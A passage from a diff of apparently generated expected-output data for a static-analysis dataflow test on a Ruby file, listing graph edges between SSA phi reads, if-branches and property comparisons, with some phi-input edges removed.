phi read(self) | UseUseExplosion.rb:20:241:20:3524 | SSA phi read(self) | -| UseUseExplosion.rb:20:257:20:3508 | [input] SSA phi read(x) | UseUseExplosion.rb:20:241:20:3524 | SSA phi read(x) | | UseUseExplosion.rb:20:257:20:3508 | then ... | UseUseExplosion.rb:20:241:20:3524 | if ... | -| UseUseExplosion.rb:20:262:20:3508 | SSA phi read(self) | UseUseExplosion.rb:20:257:20:3508 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:262:20:3508 | SSA phi read(x) | UseUseExplosion.rb:20:257:20:3508 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:262:20:3508 | if ... | UseUseExplosion.rb:20:257:20:3508 | then ... | | UseUseExplosion.rb:20:266:20:270 | @prop | UseUseExplosion.rb:20:266:20:275 | ... > ... | | UseUseExplosion.rb:20:266:20:270 | [post] self | UseUseExplosion.rb:20:287:20:291 | self | @@ -380,11 +331,7 @@ | UseUseExplosion.rb:20:266:20:275 | ... > ... | UseUseExplosion.rb:20:265:20:276 | [false] ( ... ) | | UseUseExplosion.rb:20:266:20:275 | ... > ... | UseUseExplosion.rb:20:265:20:276 | [true] ( ... ) | | UseUseExplosion.rb:20:274:20:275 | 88 | UseUseExplosion.rb:20:266:20:275 | ... > ... | -| UseUseExplosion.rb:20:278:20:3492 | [input] SSA phi read(self) | UseUseExplosion.rb:20:262:20:3508 | SSA phi read(self) | -| UseUseExplosion.rb:20:278:20:3492 | [input] SSA phi read(x) | UseUseExplosion.rb:20:262:20:3508 | SSA phi read(x) | | UseUseExplosion.rb:20:278:20:3492 | then ... | UseUseExplosion.rb:20:262:20:3508 | if ... | -| UseUseExplosion.rb:20:283:20:3492 | SSA phi read(self) | UseUseExplosion.rb:20:278:20:3492 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:283:20:3492 | SSA phi read(x) | UseUseExplosion.rb:20:278:20:3492 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:283:20:3492 | if ... | UseUseExplosion.rb:20:278:20:3492 | then ... | | UseUseExplosion.rb:20:287:20:291 | @prop | UseUseExplosion.rb:20:287:20:296 | ... > ... | | UseUseExplosion.rb:20:287:20:291 | [post] self | UseUseExplosion.rb:20:308:20:312 | self | @@ -394,11 +341,7 @@ | UseUseExplosion.rb:20:287:20:296 | ... > ... | UseUseExplosion.rb:20:286:20:297 | [false] ( ... ) | | UseUseExplosion.rb:20:287:20:296 | ... > ... | UseUseExplosion.rb:20:286:20:297 | [true] ( ... ) | | UseUseExplosion.rb:20:295:20:296 | 87 | UseUseExplosion.rb:20:287:20:296 | ... > ... | -| UseUseExplosion.rb:20:299:20:3476 | [input] SSA phi read(self) | UseUseExplosion.rb:20:283:20:3492 | SSA phi read(self) | -| UseUseExplosion.rb:20:299:20:3476 | [input] SSA phi read(x) | UseUseExplosion.rb:20:283:20:3492 | SSA phi read(x) | | UseUseExplosion.rb:20:299:20:3476 | then ... | UseUseExplosion.rb:20:283:20:3492 | if ... | -| UseUseExplosion.rb:20:304:20:3476 | SSA phi read(self) | UseUseExplosion.rb:20:299:20:3476 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:304:20:3476 | SSA phi read(x) | UseUseExplosion.rb:20:299:20:3476 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:304:20:3476 | if ... | UseUseExplosion.rb:20:299:20:3476 | then ... | | UseUseExplosion.rb:20:308:20:312 | @prop | UseUseExplosion.rb:20:308:20:317 | ... > ... | | UseUseExplosion.rb:20:308:20:312 | [post] self | UseUseExplosion.rb:20:329:20:333 | self | @@ -408,11 +351,7 @@ | UseUseExplosion.rb:20:308:20:317 | ... > ... | UseUseExplosion.rb:20:307:20:318 | [false] ( ... ) | | UseUseExplosion.rb:20:308:20:317 | ... > ... | UseUseExplosion.rb:20:307:20:318 | [true] ( ... ) | | UseUseExplosion.rb:20:316:20:317 | 86 | UseUseExplosion.rb:20:308:20:317 | ... > ... | -| UseUseExplosion.rb:20:320:20:3460 | [input] SSA phi read(self) | UseUseExplosion.rb:20:304:20:3476 | SSA phi read(self) | -| UseUseExplosion.rb:20:320:20:3460 | [input] SSA phi read(x) | UseUseExplosion.rb:20:304:20:3476 | SSA phi read(x) | | UseUseExplosion.rb:20:320:20:3460 | then ... | UseUseExplosion.rb:20:304:20:3476 | if ... | -| UseUseExplosion.rb:20:325:20:3460 | SSA phi read(self) | UseUseExplosion.rb:20:320:20:3460 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:325:20:3460 | SSA phi read(x) | UseUseExplosion.rb:20:320:20:3460 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:325:20:3460 | if ... | UseUseExplosion.rb:20:320:20:3460 | then ... | | UseUseExplosion.rb:20:329:20:333 | @prop | UseUseExplosion.rb:20:329:20:338 | ... > ... | | UseUseExplosion.rb:20:329:20:333 | [post] self | UseUseExplosion.rb:20:350:20:354 | self | @@ -422,11 +361,7 @@ | UseUseExplosion.rb:20:329:20:338 | ... > ... | UseUseExplosion.rb:20:328:20:339 | [false] ( ... ) | | UseUseExplosion.rb:20:329:20:338 | ... > ... | UseUseExplosion.rb:20:328:20:339 | [true] ( ... ) | | UseUseExplosion.rb:20:337:20:338 | 85 | UseUseExplosion.rb:20:329:20:338 | ... > ... | -| UseUseExplosion.rb:20:341:20:3444 | [input] SSA phi read(self) | UseUseExplosion.rb:20:325:20:3460 | SSA phi read(self) | -| UseUseExplosion.rb:20:341:20:3444 | [input] SSA phi read(x) | UseUseExplosion.rb:20:325:20:3460 | SSA phi read(x) | | UseUseExplosion.rb:20:341:20:3444 | then ... | UseUseExplosion.rb:20:325:20:3460 | if ... | -| UseUseExplosion.rb:20:346:20:3444 | SSA phi read(self) | UseUseExplosion.rb:20:341:20:3444 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:346:20:3444 | SSA phi read(x) | UseUseExplosion.rb:20:341:20:3444 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:346:20:3444 | if ... | UseUseExplosion.rb:20:341:20:3444 | then ... | | UseUseExplosion.rb:20:350:20:354 | @prop | UseUseExplosion.rb:20:350:20:359 | ... > ... | | UseUseExplosion.rb:20:350:20:354 | [post] self | UseUseExplosion.rb:20:371:20:375 | self | @@ -436,11 +371,7 @@ | UseUseExplosion.rb:20:350:20:359 | ... > ... | UseUseExplosion.rb:20:349:20:360 | [false] ( ... ) | | UseUseExplosion.rb:20:350:20:359 | ... > ... | UseUseExplosion.rb:20:349:20:360 | [true] ( ... ) | | UseUseExplosion.rb:20:358:20:359 | 84 | UseUseExplosion.rb:20:350:20:359 | ... > ... | -| UseUseExplosion.rb:20:362:20:3428 | [input] SSA phi read(self) | UseUseExplosion.rb:20:346:20:3444 | SSA phi read(self) | -| UseUseExplosion.rb:20:362:20:3428 | [input] SSA phi read(x) | UseUseExplosion.rb:20:346:20:3444 | SSA phi read(x) | | UseUseExplosion.rb:20:362:20:3428 | then ... | UseUseExplosion.rb:20:346:20:3444 | if ... | -| UseUseExplosion.rb:20:367:20:3428 | SSA phi read(self) | UseUseExplosion.rb:20:362:20:3428 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:367:20:3428 | SSA phi read(x) | UseUseExplosion.rb:20:362:20:3428 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:367:20:3428 | if ... | UseUseExplosion.rb:20:362:20:3428 | then ... | | UseUseExplosion.rb:20:371:20:375 | @prop | UseUseExplosion.rb:20:371:20:380 | ... > ... | | UseUseExplosion.rb:20:371:20:375 | [post] self | UseUseExplosion.rb:20:392:20:396 | self | @@ -450,11 +381,7 @@ | UseUseExplosion.rb:20:371:20:380 | ... > ... | UseUseExplosion.rb:20:370:20:381 | [false] ( ... ) | | UseUseExplosion.rb:20:371:20:380 | ... > ... | UseUseExplosion.rb:20:370:20:381 | [true] ( ... ) | | UseUseExplosion.rb:20:379:20:380 | 83 | UseUseExplosion.rb:20:371:20:380 | ... > ... | -| UseUseExplosion.rb:20:383:20:3412 | [input] SSA phi read(self) | UseUseExplosion.rb:20:367:20:3428 | SSA phi read(self) | -| UseUseExplosion.rb:20:383:20:3412 | [input] SSA phi read(x) | UseUseExplosion.rb:20:367:20:3428 | SSA phi read(x) | | UseUseExplosion.rb:20:383:20:3412 | then ... | UseUseExplosion.rb:20:367:20:3428 | if ... | -| UseUseExplosion.rb:20:388:20:3412 | SSA phi read(self) | UseUseExplosion.rb:20:383:20:3412 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:388:20:3412 | SSA phi read(x) | UseUseExplosion.rb:20:383:20:3412 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:388:20:3412 | if ... | UseUseExplosion.rb:20:383:20:3412 | then ... | | UseUseExplosion.rb:20:392:20:396 | @prop | UseUseExplosion.rb:20:392:20:401 | ... > ... | | UseUseExplosion.rb:20:392:20:396 | [post] self | UseUseExplosion.rb:20:413:20:417 | self | @@ -464,11 +391,7 @@ | UseUseExplosion.rb:20:392:20:401 | ... > ... | UseUseExplosion.rb:20:391:20:402 | [false] ( ... ) | | UseUseExplosion.rb:20:392:20:401 | ... > ... | UseUseExplosion.rb:20:391:20:402 | [true] ( ... ) | | UseUseExplosion.rb:20:400:20:401 | 82 | UseUseExplosion.rb:20:392:20:401 | ... > ... | -| UseUseExplosion.rb:20:404:20:3396 | [input] SSA phi read(self) | UseUseExplosion.rb:20:388:20:3412 | SSA phi read(self) | -| UseUseExplosion.rb:20:404:20:3396 | [input] SSA phi read(x) | UseUseExplosion.rb:20:388:20:3412 | SSA phi read(x) | | UseUseExplosion.rb:20:404:20:3396 | then ... | UseUseExplosion.rb:20:388:20:3412 | if ... | -| UseUseExplosion.rb:20:409:20:3396 | SSA phi read(self) | UseUseExplosion.rb:20:404:20:3396 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:409:20:3396 | SSA phi read(x) | UseUseExplosion.rb:20:404:20:3396 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:409:20:3396 | if ... | UseUseExplosion.rb:20:404:20:3396 | then ... | | UseUseExplosion.rb:20:413:20:417 | @prop | UseUseExplosion.rb:20:413:20:422 | ... > ... | | UseUseExplosion.rb:20:413:20:417 | [post] self | UseUseExplosion.rb:20:434:20:438 | self | @@ -478,11 +401,7 @@ | UseUseExplosion.rb:20:413:20:422 | ... > ... | UseUseExplosion.rb:20:412:20:423 | [false] ( ... ) | | UseUseExplosion.rb:20:413:20:422 | ... > ... | UseUseExplosion.rb:20:412:20:423 | [true] ( ... ) | | UseUseExplosion.rb:20:421:20:422 | 81 | UseUseExplosion.rb:20:413:20:422 | ... > ... | -| UseUseExplosion.rb:20:425:20:3380 | [input] SSA phi read(self) | UseUseExplosion.rb:20:409:20:3396 | SSA phi read(self) | -| UseUseExplosion.rb:20:425:20:3380 | [input] SSA phi read(x) | UseUseExplosion.rb:20:409:20:3396 | SSA phi read(x) | | UseUseExplosion.rb:20:425:20:3380 | then ... | UseUseExplosion.rb:20:409:20:3396 | if ... | -| UseUseExplosion.rb:20:430:20:3380 | SSA phi read(self) | UseUseExplosion.rb:20:425:20:3380 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:430:20:3380 | SSA phi read(x) | UseUseExplosion.rb:20:425:20:3380 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:430:20:3380 | if ... | UseUseExplosion.rb:20:425:20:3380 | then ... | | UseUseExplosion.rb:20:434:20:438 | @prop | UseUseExplosion.rb:20:434:20:443 | ... > ... | | UseUseExplosion.rb:20:434:20:438 | [post] self | UseUseExplosion.rb:20:455:20:459 | self | @@ -492,11 +411,7 @@ | UseUseExplosion.rb:20:434:20:443 | ... > ... | UseUseExplosion.rb:20:433:20:444 | [false] ( ... ) | | UseUseExplosion.rb:20:434:20:443 | ... > ... | UseUseExplosion.rb:20:433:20:444 | [true] ( ... ) | | UseUseExplosion.rb:20:442:20:443 | 80 | UseUseExplosion.rb:20:434:20:443 | ... > ... | -| UseUseExplosion.rb:20:446:20:3364 | [input] SSA phi read(self) | UseUseExplosion.rb:20:430:20:3380 | SSA phi read(self) | -| UseUseExplosion.rb:20:446:20:3364 | [input] SSA phi read(x) | UseUseExplosion.rb:20:430:20:3380 | SSA phi read(x) | | UseUseExplosion.rb:20:446:20:3364 | then ... | UseUseExplosion.rb:20:430:20:3380 | if ... | -| UseUseExplosion.rb:20:451:20:3364 | SSA phi read(self) | UseUseExplosion.rb:20:446:20:3364 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:451:20:3364 | SSA phi read(x) | UseUseExplosion.rb:20:446:20:3364 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:451:20:3364 | if ... | UseUseExplosion.rb:20:446:20:3364 | then ... | | UseUseExplosion.rb:20:455:20:459 | @prop | UseUseExplosion.rb:20:455:20:464 | ... > ... | | UseUseExplosion.rb:20:455:20:459 | [post] self | UseUseExplosion.rb:20:476:20:480 | self | @@ -506,11 +421,7 @@ | UseUseExplosion.rb:20:455:20:464 | ... > ... | UseUseExplosion.rb:20:454:20:465 | [false] ( ... ) | | UseUseExplosion.rb:20:455:20:464 | ... > ... | UseUseExplosion.rb:20:454:20:465 | [true] ( ... ) | | UseUseExplosion.rb:20:463:20:464 | 79 | UseUseExplosion.rb:20:455:20:464 | ... > ... | -| UseUseExplosion.rb:20:467:20:3348 | [input] SSA phi read(self) | UseUseExplosion.rb:20:451:20:3364 | SSA phi read(self) | -| UseUseExplosion.rb:20:467:20:3348 | [input] SSA phi read(x) | UseUseExplosion.rb:20:451:20:3364 | SSA phi read(x) | | UseUseExplosion.rb:20:467:20:3348 | then ... | UseUseExplosion.rb:20:451:20:3364 | if ... | -| UseUseExplosion.rb:20:472:20:3348 | SSA phi read(self) | UseUseExplosion.rb:20:467:20:3348 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:472:20:3348 | SSA phi read(x) | UseUseExplosion.rb:20:467:20:3348 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:472:20:3348 | if ... | UseUseExplosion.rb:20:467:20:3348 | then ... | | UseUseExplosion.rb:20:476:20:480 | @prop | UseUseExplosion.rb:20:476:20:485 | ... > ... | | UseUseExplosion.rb:20:476:20:480 | [post] self | UseUseExplosion.rb:20:497:20:501 | self | @@ -520,11 +431,7 @@ | UseUseExplosion.rb:20:476:20:485 | ... > ... | UseUseExplosion.rb:20:475:20:486 | [false] ( ... ) | | UseUseExplosion.rb:20:476:20:485 | ... > ... | UseUseExplosion.rb:20:475:20:486 | [true] ( ... ) | | UseUseExplosion.rb:20:484:20:485 | 78 | UseUseExplosion.rb:20:476:20:485 | ... > ... | -| UseUseExplosion.rb:20:488:20:3332 | [input] SSA phi read(self) | UseUseExplosion.rb:20:472:20:3348 | SSA phi read(self) | -| UseUseExplosion.rb:20:488:20:3332 | [input] SSA phi read(x) | UseUseExplosion.rb:20:472:20:3348 | SSA phi read(x) | | UseUseExplosion.rb:20:488:20:3332 | then ... | UseUseExplosion.rb:20:472:20:3348 | if ... | -| UseUseExplosion.rb:20:493:20:3332 | SSA phi read(self) | UseUseExplosion.rb:20:488:20:3332 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:493:20:3332 | SSA phi read(x) | UseUseExplosion.rb:20:488:20:3332 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:493:20:3332 | if ... | UseUseExplosion.rb:20:488:20:3332 | then ... | | UseUseExplosion.rb:20:497:20:501 | @prop | UseUseExplosion.rb:20:497:20:506 | ... > ... | | UseUseExplosion.rb:20:497:20:501 | [post] self | UseUseExplosion.rb:20:518:20:522 | self | @@ -534,11 +441,7 @@ | UseUseExplosion.rb:20:497:20:506 | ... > ... | UseUseExplosion.rb:20:496:20:507 | [false] ( ... ) | | UseUseExplosion.rb:20:497:20:506 | ... > ... | UseUseExplosion.rb:20:496:20:507 | [true] ( ... ) | | UseUseExplosion.rb:20:505:20:506 | 77 | UseUseExplosion.rb:20:497:20:506 | ... > ... | -| UseUseExplosion.rb:20:509:20:3316 | [input] SSA phi read(self) | UseUseExplosion.rb:20:493:20:3332 | SSA phi read(self) | -| UseUseExplosion.rb:20:509:20:3316 | [input] SSA phi read(x) | UseUseExplosion.rb:20:493:20:3332 | SSA phi read(x) | | UseUseExplosion.rb:20:509:20:3316 | then ... | UseUseExplosion.rb:20:493:20:3332 | if ... | -| UseUseExplosion.rb:20:514:20:3316 | SSA phi read(self) | UseUseExplosion.rb:20:509:20:3316 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:514:20:3316 | SSA phi read(x) | UseUseExplosion.rb:20:509:20:3316 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:514:20:3316 | if ... | UseUseExplosion.rb:20:509:20:3316 | then ... | | UseUseExplosion.rb:20:518:20:522 | @prop | UseUseExplosion.rb:20:518:20:527 | ... > ... | | UseUseExplosion.rb:20:518:20:522 | [post] self | UseUseExplosion.rb:20:539:20:543 | self | @@ -548,11 +451,7 @@ | UseUseExplosion.rb:20:518:20:527 | ... > ... | UseUseExplosion.rb:20:517:20:528 | [false] ( ... ) | | UseUseExplosion.rb:20:518:20:527 | ... > ... | UseUseExplosion.rb:20:517:20:528 | [true] ( ... ) | | UseUseExplosion.rb:20:526:20:527 | 76 | UseUseExplosion.rb:20:518:20:527 | ... > ... | -| UseUseExplosion.rb:20:530:20:3300 | [input] SSA phi read(self) | UseUseExplosion.rb:20:514:20:3316 | SSA phi read(self) | -| UseUseExplosion.rb:20:530:20:3300 | [input] SSA phi read(x) | UseUseExplosion.rb:20:514:20:3316 | SSA phi read(x) | | UseUseExplosion.rb:20:530:20:3300 | then ... | UseUseExplosion.rb:20:514:20:3316 | if ... | -| UseUseExplosion.rb:20:535:20:3300 | SSA phi read(self) | UseUseExplosion.rb:20:530:20:3300 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:535:20:3300 | SSA phi read(x) | UseUseExplosion.rb:20:530:20:3300 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:535:20:3300 | if ... | UseUseExplosion.rb:20:530:20:3300 | then ... | | UseUseExplosion.rb:20:539:20:543 | @prop | UseUseExplosion.rb:20:539:20:548 | ... > ... | | UseUseExplosion.rb:20:539:20:543 | [post] self | UseUseExplosion.rb:20:560:20:564 | self | @@ -562,11 +461,7 @@ | UseUseExplosion.rb:20:539:20:548 | ... > ... | UseUseExplosion.rb:20:538:20:549 | [false] ( ... ) | | UseUseExplosion.rb:20:539:20:548 | ... > ... | UseUseExplosion.rb:20:538:20:549 | [true] ( ... ) | | UseUseExplosion.rb:20:547:20:548 | 75 | UseUseExplosion.rb:20:539:20:548 | ... > ... | -| UseUseExplosion.rb:20:551:20:3284 | [input] SSA phi read(self) | UseUseExplosion.rb:20:535:20:3300 | SSA phi read(self) | -| UseUseExplosion.rb:20:551:20:3284 | [input] SSA phi read(x) | UseUseExplosion.rb:20:535:20:3300 | SSA phi read(x) | | UseUseExplosion.rb:20:551:20:3284 | then ... | UseUseExplosion.rb:20:535:20:3300 | if ... | -| UseUseExplosion.rb:20:556:20:3284 | SSA phi read(self) | UseUseExplosion.rb:20:551:20:3284 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:556:20:3284 | SSA phi read(x) | UseUseExplosion.rb:20:551:20:3284 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:556:20:3284 | if ... | UseUseExplosion.rb:20:551:20:3284 | then ... | | UseUseExplosion.rb:20:560:20:564 | @prop | UseUseExplosion.rb:20:560:20:569 | ... > ... | | UseUseExplosion.rb:20:560:20:564 | [post] self | UseUseExplosion.rb:20:581:20:585 | self | @@ -576,11 +471,7 @@ | UseUseExplosion.rb:20:560:20:569 | ... > ... | UseUseExplosion.rb:20:559:20:570 | [false] ( ... ) | | UseUseExplosion.rb:20:560:20:569 | ... > ... | UseUseExplosion.rb:20:559:20:570 | [true] ( ... ) | | UseUseExplosion.rb:20:568:20:569 | 74 | UseUseExplosion.rb:20:560:20:569 | ... > ... | -| UseUseExplosion.rb:20:572:20:3268 | [input] SSA phi read(self) | UseUseExplosion.rb:20:556:20:3284 | SSA phi read(self) | -| UseUseExplosion.rb:20:572:20:3268 | [input] SSA phi read(x) | UseUseExplosion.rb:20:556:20:3284 | SSA phi read(x) | | UseUseExplosion.rb:20:572:20:3268 | then ... | UseUseExplosion.rb:20:556:20:3284 | if ... | -| UseUseExplosion.rb:20:577:20:3268 | SSA phi read(self) | UseUseExplosion.rb:20:572:20:3268 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:577:20:3268 | SSA phi read(x) | UseUseExplosion.rb:20:572:20:3268 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:577:20:3268 | if ... | UseUseExplosion.rb:20:572:20:3268 | then ... | | UseUseExplosion.rb:20:581:20:585 | @prop | UseUseExplosion.rb:20:581:20:590 | ... > ... | | UseUseExplosion.rb:20:581:20:585 | [post] self | UseUseExplosion.rb:20:602:20:606 | self | @@ -590,11 +481,7 @@ | UseUseExplosion.rb:20:581:20:590 | ... > ... | UseUseExplosion.rb:20:580:20:591 | [false] ( ... ) | | UseUseExplosion.rb:20:581:20:590 | ... > ... | UseUseExplosion.rb:20:580:20:591 | [true] ( ... ) | | UseUseExplosion.rb:20:589:20:590 | 73 | UseUseExplosion.rb:20:581:20:590 | ... > ... | -| UseUseExplosion.rb:20:593:20:3252 | [input] SSA phi read(self) | UseUseExplosion.rb:20:577:20:3268 | SSA phi read(self) | -| UseUseExplosion.rb:20:593:20:3252 | [input] SSA phi read(x) | UseUseExplosion.rb:20:577:20:3268 | SSA phi read(x) | | UseUseExplosion.rb:20:593:20:3252 | then ... | UseUseExplosion.rb:20:577:20:3268 | if ... | -| UseUseExplosion.rb:20:598:20:3252 | SSA phi read(self) | UseUseExplosion.rb:20:593:20:3252 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:598:20:3252 | SSA phi read(x) | UseUseExplosion.rb:20:593:20:3252 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:598:20:3252 | if ... | UseUseExplosion.rb:20:593:20:3252 | then ... | | UseUseExplosion.rb:20:602:20:606 | @prop | UseUseExplosion.rb:20:602:20:611 | ... > ... | | UseUseExplosion.rb:20:602:20:606 | [post] self | UseUseExplosion.rb:20:623:20:627 | self | @@ -604,11 +491,7 @@ | UseUseExplosion.rb:20:602:20:611 | ... > ... | UseUseExplosion.rb:20:601:20:612 | [false] ( ... ) | | UseUseExplosion.rb:20:602:20:611 | ... > ... | UseUseExplosion.rb:20:601:20:612 | [true] ( ... ) | | UseUseExplosion.rb:20:610:20:611 | 72 | UseUseExplosion.rb:20:602:20:611 | ... > ... | -| UseUseExplosion.rb:20:614:20:3236 | [input] SSA phi read(self) | UseUseExplosion.rb:20:598:20:3252 | SSA phi read(self) | -| UseUseExplosion.rb:20:614:20:3236 | [input] SSA phi read(x) | UseUseExplosion.rb:20:598:20:3252 | SSA phi read(x) | | UseUseExplosion.rb:20:614:20:3236 | then ... | UseUseExplosion.rb:20:598:20:3252 | if ... | -| UseUseExplosion.rb:20:619:20:3236 | SSA phi read(self) | UseUseExplosion.rb:20:614:20:3236 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:619:20:3236 | SSA phi read(x) | UseUseExplosion.rb:20:614:20:3236 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:619:20:3236 | if ... | UseUseExplosion.rb:20:614:20:3236 | then ... | | UseUseExplosion.rb:20:623:20:627 | @prop | UseUseExplosion.rb:20:623:20:632 | ... > ... | | UseUseExplosion.rb:20:623:20:627 | [post] self | UseUseExplosion.rb:20:644:20:648 | self | @@ -618,11 +501,7 @@ | UseUseExplosion.rb:20:623:20:632 | ... > ... | UseUseExplosion.rb:20:622:20:633 | [false] ( ... ) | | UseUseExplosion.rb:20:623:20:632 | ... > ... | UseUseExplosion.rb:20:622:20:633 | [true] ( ... ) | | UseUseExplosion.rb:20:631:20:632 | 71 | UseUseExplosion.rb:20:623:20:632 | ... > ... | -| UseUseExplosion.rb:20:635:20:3220 | [input] SSA phi read(self) | UseUseExplosion.rb:20:619:20:3236 | SSA phi read(self) | -| UseUseExplosion.rb:20:635:20:3220 | [input] SSA phi read(x) | UseUseExplosion.rb:20:619:20:3236 | SSA phi read(x) | | UseUseExplosion.rb:20:635:20:3220 | then ... | UseUseExplosion.rb:20:619:20:3236 | if ... | -| UseUseExplosion.rb:20:640:20:3220 | SSA phi read(self) | UseUseExplosion.rb:20:635:20:3220 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:640:20:3220 | SSA phi read(x) | UseUseExplosion.rb:20:635:20:3220 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:640:20:3220 | if ... | UseUseExplosion.rb:20:635:20:3220 | then ... | | UseUseExplosion.rb:20:644:20:648 | @prop | UseUseExplosion.rb:20:644:20:653 | ... > ... | | UseUseExplosion.rb:20:644:20:648 | [post] self | UseUseExplosion.rb:20:665:20:669 | self | @@ -632,11 +511,7 @@ | UseUseExplosion.rb:20:644:20:653 | ... > ... | UseUseExplosion.rb:20:643:20:654 | [false] ( ... ) | | UseUseExplosion.rb:20:644:20:653 | ... > ... | UseUseExplosion.rb:20:643:20:654 | [true] ( ... ) | | UseUseExplosion.rb:20:652:20:653 | 70 | UseUseExplosion.rb:20:644:20:653 | ... > ... | -| UseUseExplosion.rb:20:656:20:3204 | [input] SSA phi read(self) | UseUseExplosion.rb:20:640:20:3220 | SSA phi read(self) | -| UseUseExplosion.rb:20:656:20:3204 | [input] SSA phi read(x) | UseUseExplosion.rb:20:640:20:3220 | SSA phi read(x) | | UseUseExplosion.rb:20:656:20:3204 | then ... | UseUseExplosion.rb:20:640:20:3220 | if ... | -| UseUseExplosion.rb:20:661:20:3204 | SSA phi read(self) | UseUseExplosion.rb:20:656:20:3204 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:661:20:3204 | SSA phi read(x) | UseUseExplosion.rb:20:656:20:3204 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:661:20:3204 | if ... | UseUseExplosion.rb:20:656:20:3204 | then ... | | UseUseExplosion.rb:20:665:20:669 | @prop | UseUseExplosion.rb:20:665:20:674 | ... > ... | | UseUseExplosion.rb:20:665:20:669 | [post] self | UseUseExplosion.rb:20:686:20:690 | self | @@ -646,11 +521,7 @@ | UseUseExplosion.rb:20:665:20:674 | ... > ... | UseUseExplosion.rb:20:664:20:675 | [false] ( ... ) | | UseUseExplosion.rb:20:665:20:674 | ... > ... | UseUseExplosion.rb:20:664:20:675 | [true] ( ... ) | | UseUseExplosion.rb:20:673:20:674 | 69 | UseUseExplosion.rb:20:665:20:674 | ... > ... | -| UseUseExplosion.rb:20:677:20:3188 | [input] SSA phi read(self) | UseUseExplosion.rb:20:661:20:3204 | SSA phi read(self) | -| UseUseExplosion.rb:20:677:20:3188 | [input] SSA phi read(x) | UseUseExplosion.rb:20:661:20:3204 | SSA phi read(x) | | UseUseExplosion.rb:20:677:20:3188 | then ... | UseUseExplosion.rb:20:661:20:3204 | if ... | -| UseUseExplosion.rb:20:682:20:3188 | SSA phi read(self) | UseUseExplosion.rb:20:677:20:3188 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:682:20:3188 | SSA phi read(x) | UseUseExplosion.rb:20:677:20:3188 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:682:20:3188 | if ... | UseUseExplosion.rb:20:677:20:3188 | then ... | | UseUseExplosion.rb:20:686:20:690 | @prop | UseUseExplosion.rb:20:686:20:695 | ... > ... | | UseUseExplosion.rb:20:686:20:690 | [post] self | UseUseExplosion.rb:20:707:20:711 | self | @@ -660,11 +531,7 @@ | UseUseExplosion.rb:20:686:20:695 | ... > ... | UseUseExplosion.rb:20:685:20:696 | [false] ( ... ) | | UseUseExplosion.rb:20:686:20:695 | ... > ... | UseUseExplosion.rb:20:685:20:696 | [true] ( ... ) | | UseUseExplosion.rb:20:694:20:695 | 68 | UseUseExplosion.rb:20:686:20:695 | ... > ... | -| UseUseExplosion.rb:20:698:20:3172 | [input] SSA phi read(self) | UseUseExplosion.rb:20:682:20:3188 | SSA phi read(self) | -| UseUseExplosion.rb:20:698:20:3172 | [input] SSA phi read(x) | UseUseExplosion.rb:20:682:20:3188 | SSA phi read(x) | | UseUseExplosion.rb:20:698:20:3172 | then ... | UseUseExplosion.rb:20:682:20:3188 | if ... | -| UseUseExplosion.rb:20:703:20:3172 | SSA phi read(self) | UseUseExplosion.rb:20:698:20:3172 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:703:20:3172 | SSA phi read(x) | UseUseExplosion.rb:20:698:20:3172 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:703:20:3172 | if ... | UseUseExplosion.rb:20:698:20:3172 | then ... | | UseUseExplosion.rb:20:707:20:711 | @prop | UseUseExplosion.rb:20:707:20:716 | ... > ... | | UseUseExplosion.rb:20:707:20:711 | [post] self | UseUseExplosion.rb:20:728:20:732 | self | @@ -674,11 +541,7 @@ | UseUseExplosion.rb:20:707:20:716 | ... > ... | UseUseExplosion.rb:20:706:20:717 | [false] ( ... ) | | UseUseExplosion.rb:20:707:20:716 | ... > ... | UseUseExplosion.rb:20:706:20:717 | [true] ( ... ) | | UseUseExplosion.rb:20:715:20:716 | 67 | UseUseExplosion.rb:20:707:20:716 | ... > ... | -| UseUseExplosion.rb:20:719:20:3156 | [input] SSA phi read(self) | UseUseExplosion.rb:20:703:20:3172 | SSA phi read(self) | -| UseUseExplosion.rb:20:719:20:3156 | [input] SSA phi read(x) | UseUseExplosion.rb:20:703:20:3172 | SSA phi read(x) | | UseUseExplosion.rb:20:719:20:3156 | then ... | UseUseExplosion.rb:20:703:20:3172 | if ... | -| UseUseExplosion.rb:20:724:20:3156 | SSA phi read(self) | UseUseExplosion.rb:20:719:20:3156 